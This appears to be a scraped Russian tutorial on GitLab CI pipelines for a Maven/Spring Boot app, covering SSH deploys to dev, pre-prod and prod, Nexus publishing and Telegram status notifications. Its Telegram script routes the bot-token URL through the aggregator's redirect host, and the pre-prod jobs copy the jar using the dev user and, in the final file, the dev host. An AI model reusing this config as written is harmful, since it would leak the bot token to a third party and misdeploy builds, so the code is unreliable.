Раздел before_script отвечает за выполнение настроек перед основным скриптом. Мы проверяем наличие ssh-agent, устанавливаем его при отсутствии. После чего добавляем приватный ключ, устанавливаем правильные права на папки.


В разделе script происходит деплой на сервер:


  1. Проверяем наличие старого jar и переименовываем его. $CI_PIPELINE_ID это глобальный номер сборки Pipeline.
  2. Копируем новый jar на сервер.
  3. Останавливаем и запускаем службу, отвечающую за приложение.
  4. Отправляем уведомление об успехе в телеграм. Об этом ниже.

Как создавать службы linux для Spring Boot приложения, я написал в отдельной статье.


На пре-прод делаем по аналогии, только меняем переменные на $PRE_PROD_*.


// ... ... ... ... ...deploy_pre_prod:  stage: deploy  only:    - /^release\/.*$/  except:    - tags  before_script:    - which ssh-agent || ( apt-get update -y && apt-get install openssh-client -y )    - eval $(ssh-agent -s)    - echo "$SSH_PRIVATE_KEY" | ssh-add -    - mkdir -p ~/.ssh    - chmod 700 ~/.ssh    - ssh-keyscan $PRE_PROD_HOST >> ~/.ssh/known_hosts    - chmod 644 ~/.ssh/known_hosts  script:    - ssh $PRE_PROD_USER@$PRE_PROD_HOST "[ ! -f $PRE_PROD_APP_PATH/app_name.jar ] || mv $PRE_PROD_APP_PATH/app_name.jar $PRE_PROD_APP_PATH/app_name-build-$CI_PIPELINE_ID.jar"    - scp target/app_name.jar $DEV_USER@$PRE_PROD_HOST:$PRE_PROD_APP_PATH/    - ssh $PRE_PROD_USER@$PRE_PROD_HOST "sudo systemctl stop app_name_service && sudo systemctl start app_name_service"    - sh ci-notify.sh // ... ... ... ... ...

Настройка деплоя на прод


Для прод-деплоя можно объединить сборку, тестирование и упаковку в одну задачу.


// ... ... ... ... ...package_prod:  stage: package  only:    - /^release-.*$/  except:    - branches  script:    - 'mvn --settings $MAVEN_SETTINGS package'  artifacts:    paths:      - target/*.jar// ... ... ... ... ...

Мы защищаемся от срабатывания на ветки формата release-*, нам нужно срабатывание только по тегу.


Деплой аналогичен пре-проду, изменяется только only и переменные.


Дополнительно появляется задача с отправкой артефакта в корпоративный nexus. Деплой на сервер и в нексус работает параллельно.


// ... ... ... ... ...deploy_prod:  stage: deploy  only:    - /^release-.*$/  except:    - branches  ...deploy_nexus_server:  stage: deploy  only:    - /^release-.*$/  except:    - branches  script:    - 'mvn --settings $MAVEN_SETTINGS deploy -Dmaven.test.skip=true'// ... ... ... ... ...

Итоговый .gitlab-ci.yml:


image: maven:latestvariables:  MAVEN_OPTS: "-Dmaven.repo.local=./.m2/repository"stages:  - build  - test  - package  - deploy  - notifybuild:  stage: build  only:    - dev    - merge_requests    - /^release\/.*$/  except:    - tags  script:    - 'mvn --settings $MAVEN_SETTINGS compile'  cache:    paths:      - ./target      - ./.m2test:  stage: test  only:    - dev    - merge_requests    - /^release\/.*$/  except:    - tags  script:    - 'mvn --settings $MAVEN_SETTINGS test'  cache:    paths:      - ./target      - ./.m2package:  stage: package  only:    - dev    - /^release\/.*$/  except:    - tags  script:    - 'mvn --settings $MAVEN_SETTINGS package -Dmaven.test.skip=true'  artifacts:    paths:      - target/*.jar  cache:    policy: pull    paths:      - ./target      - ./.m2deploy_dev_server:  stage: deploy  only:    - dev  except:    - tags  before_script:    - which ssh-agent || ( apt-get update -y && apt-get install openssh-client -y )    - eval $(ssh-agent -s)    - echo "$SSH_PRIVATE_KEY" | ssh-add -    - mkdir -p ~/.ssh    - chmod 700 ~/.ssh    - ssh-keyscan $DEV_HOST >> ~/.ssh/known_hosts    - chmod 644 ~/.ssh/known_hosts  script:    - ssh $DEV_USER@$DEV_HOST "[ ! -f $DEV_APP_PATH/app_name.jar ] || mv $DEV_APP_PATH/app_name.jar $DEV_APP_PATH/app_name-build-$CI_PIPELINE_ID.jar"    - scp target/app_name.jar $DEV_USER@$DEV_HOST:$DEV_APP_PATH/    - ssh $DEV_USER@$DEV_HOST "sudo systemctl stop app_name_service && sudo systemctl start app_name_service"deploy_pre_prod:  stage: deploy  only:    - /^release\/.*$/  except:    - tags  before_script:    - which ssh-agent || ( apt-get update -y && apt-get install openssh-client -y )    - eval $(ssh-agent -s)    - echo "$SSH_PRIVATE_KEY" | ssh-add -    - mkdir -p ~/.ssh    - chmod 700 ~/.ssh    - ssh-keyscan $PRE_PROD_HOST >> ~/.ssh/known_hosts    - chmod 644 ~/.ssh/known_hosts  script:    - ssh $PRE_PROD_USER@$PRE_PROD_HOST "[ ! -f $PRE_PROD_APP_PATH/app_name.jar ] || mv $PRE_PROD_APP_PATH/app_name.jar $PRE_PROD_APP_PATH/app_name-build-$CI_PIPELINE_ID.jar"    - scp target/app_name.jar $DEV_USER@$DEV_HOST:$DEV_APP_PATH/    - ssh $PRE_PROD_USER@$PRE_PROD_HOST "sudo systemctl stop app_name_service && sudo systemctl start app_name_service"package_prod:  stage: package  only:    - /^release-.*$/  except:    - branches  script:    - 'mvn --settings $MAVEN_SETTINGS package'  artifacts:    paths:      - target/*.jardeploy_prod:  stage: deploy  only:    - /^release-.*$/  except:    - branches  before_script:    - which ssh-agent || ( apt-get update -y && apt-get install openssh-client -y )    - eval $(ssh-agent -s)    - echo "$SSH_PRIVATE_KEY" | ssh-add -    - mkdir -p ~/.ssh    - chmod 700 ~/.ssh    - ssh-keyscan $PROD_HOST >> ~/.ssh/known_hosts    - chmod 644 ~/.ssh/known_hosts  script:    - ssh $PROD_USER@$PROD_HOST "[ ! -f $PROD_APP_PATH/app_name.jar ] || mv $PROD_APP_PATH/app_name.jar $PROD_APP_PATH/app_name-build-$CI_PIPELINE_ID.jar"    - scp target/app_name.jar $PROD_USER@$PROD_HOST:$PROD_APP_PATH/    - ssh $PROD_USER@$PROD_HOST "sudo systemctl stop app_name_service && sudo systemctl start app_name_service"

Бонус: уведомления о деплое в Telegram


Полезная фишка для уведомления менеджеров. После сборки в телеграм отправляется статус сборки, название проекта и ветка сборки.


В задачах деплоя последней командой пропишите:


// ... ... ... ... ...script:  - ...  - sh ci-notify.sh // ... ... ... ... ...

Сам файл необходимо добавить в корень проекта, рядом с файлом .gitlab-ci.yml.


Содержимое файла:


#!/bin/bashTIME="10"URL="http://personeltest.ru/aways/api.telegram.org/bot$TELEGRAM_BOT_TOKEN/sendMessage"TEXT="Deploy status: $1%0A-- -- -- -- --%0ABranch:+$CI_COMMIT_REF_SLUG%0AProject:+$CI_PROJECT_TITLE"curl -s --max-time $TIME -d "chat_id=$TELEGRAM_CHAT_ID&disable_web_page_preview=1&text=$TEXT" $URL >/dev/null

Скрипт отправляет запрос к API Telegram, через curl. Параметром скрипта передается emoji статуса билда.


Не забудьте добавить новые параметры в CI/CD:


  • $TELEGRAM_BOT_TOKEN токен бота в телеграмм. Получить его можно при создании своего бота.
  • $TELEGRAM_CHAT_ID идентификатор чата или беседы, в которую отправляется сообщение. Узнать идентификатор можно с помощью специального бота.

Необходимо создать задачи для уведомления о падении сборки.


// ... ... ... ... ...notify_error:  stage: notify  only:    - dev    - /^release\/.*$/  script:    - sh ci-notify.sh   when: on_failurenotify_error_release:  stage: notify  only:    - /^release-.*$/  except:    - branches  script:    - sh ci-notify.sh   when: on_failure// ... ... ... ... ...

По сложившейся традиции у нас отдельная задача для прод-среды. Благодаря параметру when: on_failure задача отрабатывает только, когда одна из предыдущих завершилась неудачно.


Удобно, что теперь и код и сборка находятся в одном месте. Несмотря на недостатки GitLab CI, пользоваться им в целом удобно.

Подробнее..
Категории: Gitlab , Devops , Java , Gitlab-ci , Maven , Nexus , Gitlab-runner

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru